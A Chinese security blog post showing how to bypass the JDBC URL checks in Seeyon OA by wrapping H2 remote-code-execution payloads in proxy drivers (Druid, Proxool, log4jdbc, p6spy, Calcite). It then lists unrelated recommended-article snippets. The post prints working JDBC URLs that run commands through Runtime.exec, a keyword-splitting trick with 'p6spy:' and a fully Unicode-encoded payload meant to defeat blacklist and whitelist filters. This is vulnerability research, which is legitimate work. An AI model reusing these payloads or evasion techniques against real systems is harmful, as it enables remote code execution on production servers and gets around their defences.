0x01起因

以前徐师傅刚公开H2 JDBC RCE的时候我就用来打致远,打了大概两年然后修了最开始是直接用反斜线就可以绕过,后面添加了下面的判断。



新增了一个com.seeyon.ctp.giant.panda.database.url.ValidateContext#connectValidate



com.seeyon.ctp.giant.panda.database.url.JdbcUrlCommaParamsValidate#urlValidate



看了下对几种常见的jdbc做了参数黑白名单配置,黑名单还能绕绕白名单是没法绕了。//最新的致远已经没有H2的驱动了

0x02DruidDriver



注意到上面的检测需要匹配到jdbc url前缀,才会进入对应的检测逻辑,于是看了一下致远一共有哪些JDBC驱动。



sqlite不在上面的检测中但是不止需要控制jdbc url还需要能执行sql语句才能触发。

注意到有一个驱动名字叫做com.alibaba.druid.proxy.DruidDriver

包名里有个proxy我们来看看他connect方法的具体实现

com.alibaba.druid.proxy.DruidDriver#connect



先通过acceptsURL判断url是否合法





即url前缀为jdbc:wrap-jdbc:即可,跟入com.alibaba.druid.proxy.DruidDriver#getDataSource



com.alibaba.druid.proxy.DruidDriver#parseConfig

截取jdbc:wrap-jdbc:后的字符串然后setRawUrl

然后进入com.alibaba.druid.util.JdbcUtils#getDriverClassName获取驱动类

然后进行jdbc连接



所以直接在我们原本的JDBC URL前面加上jdbc:wrap-jdbc:即可,这样可以直接使用druid的驱动类连接h2数据库,从而绕过上述检测逻辑。

jdbc:wrap-jdbc:jdbc:h2:mem:testdb;INIT=CREATE ALIAS EXEC AS 'void cmd_exec(String cmd) throws java.lang.Exception {Runtime.getRuntime().exec(cmd)\;}'\;CALL EXEC ('cmd /c calc')\;

0x03可利用代理驱动

基于上述想法,想到应该不止druid有这样的代理驱动,于是找了一些类似的驱动进行研究总结。

druid

驱动为com.alibaba.druid.proxy.DruidDriver

只需在正常的JDBCPayload前加上jdbc:wrap-jdbc:即可

//com.alibaba.druid.proxy.DruidDriver
String proxoolUrl = "jdbc:wrap-jdbc:jdbc:h2:mem:testdb;INIT=CREATE ALIAS EXEC AS 'void cmd_exec(String cmd) throws java.lang.Exception {Runtime.getRuntime().exec(cmd)\\;}'\\;CALL EXEC ('cmd /c calc')\\;";
Connection connection = DriverManager.getConnection(proxoolUrl);

这里不需要Class.forName("com.alibaba.druid.proxy.DruidDriver")只有比较老的驱动才需要,现在的 JDBC(JDBC 4.0 及以后),如果你的驱动包(比如 druid.jar)里有 META-INF/services/java.sql.Driver 文件,JDBC 会自动发现并注册驱动,不再需要手动加载。

java.sql.DriverManager#getConnection会遍历所有可以加载的驱动进行尝试

proxool

驱动为org.logicalcobwebs.proxool.ProxoolDriver我本地这个版本为proxool-0.9.1.jar

包里没有 META-INF/services/java.sql.Driver 文件,所以需要先手动加载

proxoolUrl格式为proxool.mypool:+驱动类+JDBCPayload

Class.forName("org.logicalcobwebs.proxool.ProxoolDriver");
String proxoolUrl = "proxool.mypool:org.h2.Driver:jdbc:h2:mem:testdb;INIT=CREATE ALIAS EXEC AS 'void cmd_exec(String cmd) throws java.lang.Exception {Runtime.getRuntime().exec(cmd)\\;}'\\;CALL EXEC ('cmd /c calc')\\;";
Connection connection = DriverManager.getConnection(proxoolUrl);

这种需要手动加载的需要能控制传入的驱动类为org.logicalcobwebs.proxool.ProxoolDriver才能进入这个驱动的逻辑。

log4jdbc

驱动为net.sf.log4jdbc.sql.jdbcapi.DriverSpy

proxoolUrl格式为jdbc:log4+JDBCPayload

//net.sf.log4jdbc.sql.jdbcapi.DriverSpy
String proxoolUrl = "jdbc:log4jdbc:h2:mem:testdb;INIT=CREATE ALIAS EXEC AS 'void cmd_exec(String cmd) throws java.lang.Exception {Runtime.getRuntime().exec(cmd)\\;}'\\;CALL EXEC ('cmd /c calc')\\;";
Connection connection = DriverManager.getConnection(proxoolUrl);

上面三种实际上不是很完满,如果碰到上来不判断前缀直接检测的还是可以检测到关键字,下面发现的两种可以解决这个问题。

p6spy

驱动为com.p6spy.engine.spy.P6SpyDriver

前缀需要为jdbc:p6spy:

这里将url里所有的p6spy:都替换为空然后进去驱动的匹配,jdbcurl格式为<font style="color:#DF2A3F;">jdbc:p6spy:h2:mem:testdb;INIT=***</font>才可以通过java.sql.Driver#acceptsURL匹配到h2的驱动。

我们传入的原始url会进入extractRealUrl再传入上面匹配到的驱动的connect方法。

注意到这里是全部替换为空

所有可以用p6spy:插入到任意两个字符之间比如可以写出如下proxoolUrl

//com.p6spy.engine.spy.P6SpyDriver
String proxoolUrl = "jdbc:p6spy:h2:mem:testdb;INp6spy:IT=CREATE ALIAS EXEC AS 'void cmd_exec(String cmd) throws java.lang.Exception {Runtime.getRuntime().exec(cmd)\\;}'\\;CALL EXEC ('cmd /c calc')\\;";
Connection connection = DriverManager.getConnection(proxoolUrl);

INIT变为了INp6spy:IT依然可以进行利用。

calcite

驱动为org.apache.calcite.avatica.UnregisteredDriver

这个驱动最开始我只看到从文件加载的方法,后面看他可以解析yaml想看看他有yaml反序列化没然后yaml反序列化没找到,看到也可以直接通过proxoolUrl连接H2的方式。

官方示例的连接方式为jdbc:calcite:model=./src/main/resources/model.json

解析json和yaml的方法为org.apache.calcite.model.ModelHandler#ModelHandler

此处的uri即为model=后面的值,第一个if里很明显可以直接以字符串方式传入连接配置,然后使用jackson进行解析。所有我们可以里用json解析的一些特性比如unicode来混淆我们的JDBCPayload。

//org.apache.calcite.jdbc.Driver
Connection conn = DriverManager.getConnection("jdbc:calcite:model=inline:{\"version\":\"1.0\",\"defaultSchema\":\"H2\",\"schemas\":[{\"type\":\"jdbc\",\"name\":\"H2\",\"jdbcDriver\":\"org.h2.Driver\",\"jdbcUrl\":\"\\u006a\\u0064\\u0062\\u0063\\u003a\\u0068\\u0032\\u003a\\u006d\\u0065\\u006d\\u003a\\u0074\\u0065\\u0073\\u0074\\u0064\\u0062\\u003b\\u0049\\u004e\\u0049\\u0054\\u003d\\u0043\\u0052\\u0045\\u0041\\u0054\\u0045\\u0020\\u0041\\u004c\\u0049\\u0041\\u0053\\u0020\\u0045\\u0058\\u0045\\u0043\\u0020\\u0041\\u0053\\u0020\\u0027\\u0076\\u006f\\u0069\\u0064\\u0020\\u0063\\u006d\\u0064\\u005f\\u0065\\u0078\\u0065\\u0063\\u0028\\u0053\\u0074\\u0072\\u0069\\u006e\\u0067\\u0020\\u0063\\u006d\\u0064\\u0029\\u0020\\u0074\\u0068\\u0072\\u006f\\u0077\\u0073\\u0020\\u006a\\u0061\\u0076\\u0061\\u002e\\u006c\\u0061\\u006e\\u0067\\u002e\\u0045\\u0078\\u0063\\u0065\\u0070\\u0074\\u0069\\u006f\\u006e\\u0020\\u007b\\u0052\\u0075\\u006e\\u0074\\u0069\\u006d\\u0065\\u002e\\u0067\\u0065\\u0074\\u0052\\u0075\\u006e\\u0074\\u0069\\u006d\\u0065\\u0028\\u0029\\u002e\\u0065\\u0078\\u0065\\u0063\\u0028\\u0063\\u006d\\u0064\\u0029\\u005c\\u003b\\u007d\\u0027\\u005c\\u003b\\u0043\\u0041\\u004c\\u004c\\u0020\\u0045\\u0058\\u0045\\u0043\\u0020\\u0028\\u0027\\u0063\\u006d\\u0064\\u0020\\u002f\\u0063\\u0020\\u0063\\u0061\\u006c\\u0063\\u0027\\u0029\\u005c\\u003b\",\"jdbcUser\":\"user\",\"jdbcPassword\":\"password\"}]}");

使用这个代理类黑名单、白名单参数限制都可以的绕过。可以做到不出现& ;这类参数分割符。

总结

当致远系统对常见JDBC驱动增加了黑白名单检测机制后,通过研究发现了一种绕过思路——代理驱动绕过

核心在于利用代理驱动来包装原始的恶意JDBC连接,从而绕过安全检测机制。这种方法不是直接对抗过滤规则,而是通过"曲线救国"的方式实现目标。

上述发现的代理驱动可以分为三个层次:

第一层:基础代理绕过

  • Druid、Proxool、Log4jdbc 等驱动
  • 可绕过通过检查JDBC URL的开头进入对应防护的场景

第二层:关键字混淆绕过

  • P6spy 驱动
  • 通过在关键字中插入 p6spy: 实现混淆(如 INp6spy:IT
  • 可绕过基于关键字匹配的检测机制

第三层:完全编码绕过

  • Calcite 驱动
  • 支持Unicode编码完全混淆恶意payload
  • 可绕过基于关键字、黑白名单参数匹配的防护机制

上述方法也存在局限性依赖目标环境中存在相应的代理驱动包,如遇到的项目里一个也不存在的也可按照本文思路继续挖掘其他潜在的代理驱动。

文中的测试代码已上传github

https://github.com/cwkiller/JDBC-PROXY-Bypass

另辟蹊径:利用代理驱动绕过JDBC Attack检测的更多相关文章

  1. 多加速器驱动AGX的目标检测与车道分割

    多加速器驱动AGX的目标检测与车道分割 Object Detection and Lane Segmentation Using Multiple Accelerators with DRIVE AG ...

  2. 隐藏进程中的模块绕过IceSword的检测

    标 题: [原创] 隐藏进程中的模块绕过IceSword的检测 作 者: xPLK 时 间: 2008-06-19,17:59:11 链 接: http://bbs.pediy.com/showthr ...

  3. Workbench利用Python驱动DM执行Js进行建模

    Workbench的工作平台下可以利用Python进行一些操作,包括添加system和component等等.DM可以通过执行Jscript脚本进行自动建模,因此,结合这两块的内容,可以利用Pytho ...

  4. Python 3 利用 Dlib 实现摄像头实时人脸检测和平铺显示

    1. 引言 在某些场景下,我们不仅需要进行实时人脸检测追踪,还要进行再加工:这里进行摄像头实时人脸检测,并对于实时检测的人脸进行初步提取: 单个/多个人脸检测,并依次在摄像头窗口,实时平铺显示检测到的 ...

  5. Python 3 利用 Dlib 和 sklearn 人脸笑脸检测机器学习建模

    0. 引言 利用机器学习的方法训练微笑检测模型,输入一张人脸照片,判断是否微笑: 精度在 95% 左右( 使用的数据集中 69 张没笑脸,65 张有笑脸 ): 图1 测试图像与检测结果 项目实现的笑脸 ...

  6. 高可用服务之Keepalived利用脚本实现服务的可用性检测

    上一篇博客主要聊到了keepalived高可用LVS集群的相关配置,回顾请参考https://www.cnblogs.com/qiuhom-1874/p/13659428.html:keepalive ...

  7. 161230、利用代理中间件实现大规模Redis集群

    前面在<大规模互联网应用Redis架构要点>和<Redis官方集群方案 Redis Cluster>两篇文章中分别介绍了多Redis服务器集群的两种方式,它们是基于客户端sha ...

  8. 警惕黑客利用新方法绕过Office安全链接

    东方联盟黑客安全研究人员透露,一些黑客已经发现绕过MicrosoftOffice365的安全功能,该功能最初旨在保护用户免受恶意软件和网络钓鱼攻击. 被称为安全链接的功能已被包含在Office365软 ...

  9. 漏洞利用:验证绕过,XSS利用,Cookic盗用,文件上传

    1.      文件上传 低级别 写好上传的内容 选择好上传的文件 上传成功. 测试:访问文件,执行代码 中级别 修改文件后缀为png 上传该文件 抓包修改文件后缀为php,然后允许数据包通过. 上传 ...

  10. 利用SHELL脚本实现文件完整性检测程序(1.2版更新)

    一..开发背景 因时势所逼,需要对服务器的文件系统实行监控.虽然linux下有不少入侵检测和防窜改系统,但都比较麻烦,用起来也不是很称手.自己琢磨着也不需要什么多复杂的功能,写个脚本应该就可以满足基本 ...

随机推荐

  1. apisix~hmac-auth插件的使用

    hmac-auth插件需要和 Consumer 一起使用,API 的使用者必须将密匙添加到请求头中以验证其请求,下面介绍它的主要用法 参数 algorithm 算法 默认hmac-sha256 [&q ...

  2. 学习unigui【27】像pg的jsonb一样编辑json。

    var  I: Integer;  CurrentObject: TJSONObject;  FieldName: string;  Pair: TJSONPair;function CreateJS ...

  3. [.net core] 创建和发布NuGet包 (dotnet CLI)

    [原文] :https://docs.microsoft.com/zh-cn/nuget/quickstart/create-and-publish-a-package-using-the-dotne ...

  4. nodejs参数的处理与用户的交互

    解析脚本参数 作为脚本或者命令行工具,一般都需要支持不同的用户参数.默认参数被保存在process.argv的数组中,如下: [ nodeBinary, script, arg0, arg1, ... ...

  5. 太赞了!两个技巧帮你记住复杂 Linux 命令!

    Linux 经历这么多个年头了,其中命令越来越多,又加上参数的多种多样,就算是实打实的高手也没有十足的把握能把各种命令运用得炉火纯青,就别说那些初学者了. 面对这些复杂难记的命令,网上的一些工具如 K ...

  6. Git 版本管理,与 SVN区别对比

    一.Git vs SVN Git 和 SVN 孰优孰好,每个人有不同的体验. Git是分布式的,SVN是集中式的 这是 Git 和 SVN 最大的区别.若能掌握这个概念,两者区别基本搞懂大半.因为 G ...

  7. 测试工作中用到的MongoDB命令

    1.远程连接MongoDB mongo host:port/dbname (host和port根据自己需要修改) 连接成功页面如下: 2.显示所有数据库 show dbs 3.切换到oversea-a ...

  8. java基础之成员变量和局部变量区别

    1:在类中的位置不同 成员变量:类中,方法外 局部变量:方法中,或者方法声明上(形参) 2:作用范围不一样 成员变量:类中 局部变量:方法中 3:初始化值的不同 成员变量:有默认值 局部变量:没有默认 ...

  9. php 微信小程序转义403

    function code 微信 iv 偶现 encryptedData 41003 encodeURIComponent 关于小程序微信授权登录提示41003 文章简介 原因一(iv和encrypt ...

  10. 移动web开发——flex布局

    目录 1.0传统布局和flex布局对比 1.1传统布局 1.2 flex布局 1.3 建议 2.0 flex布局原理 3.0 父项常见属性 3.1 flex-direction设置主轴的方向 3.2 ...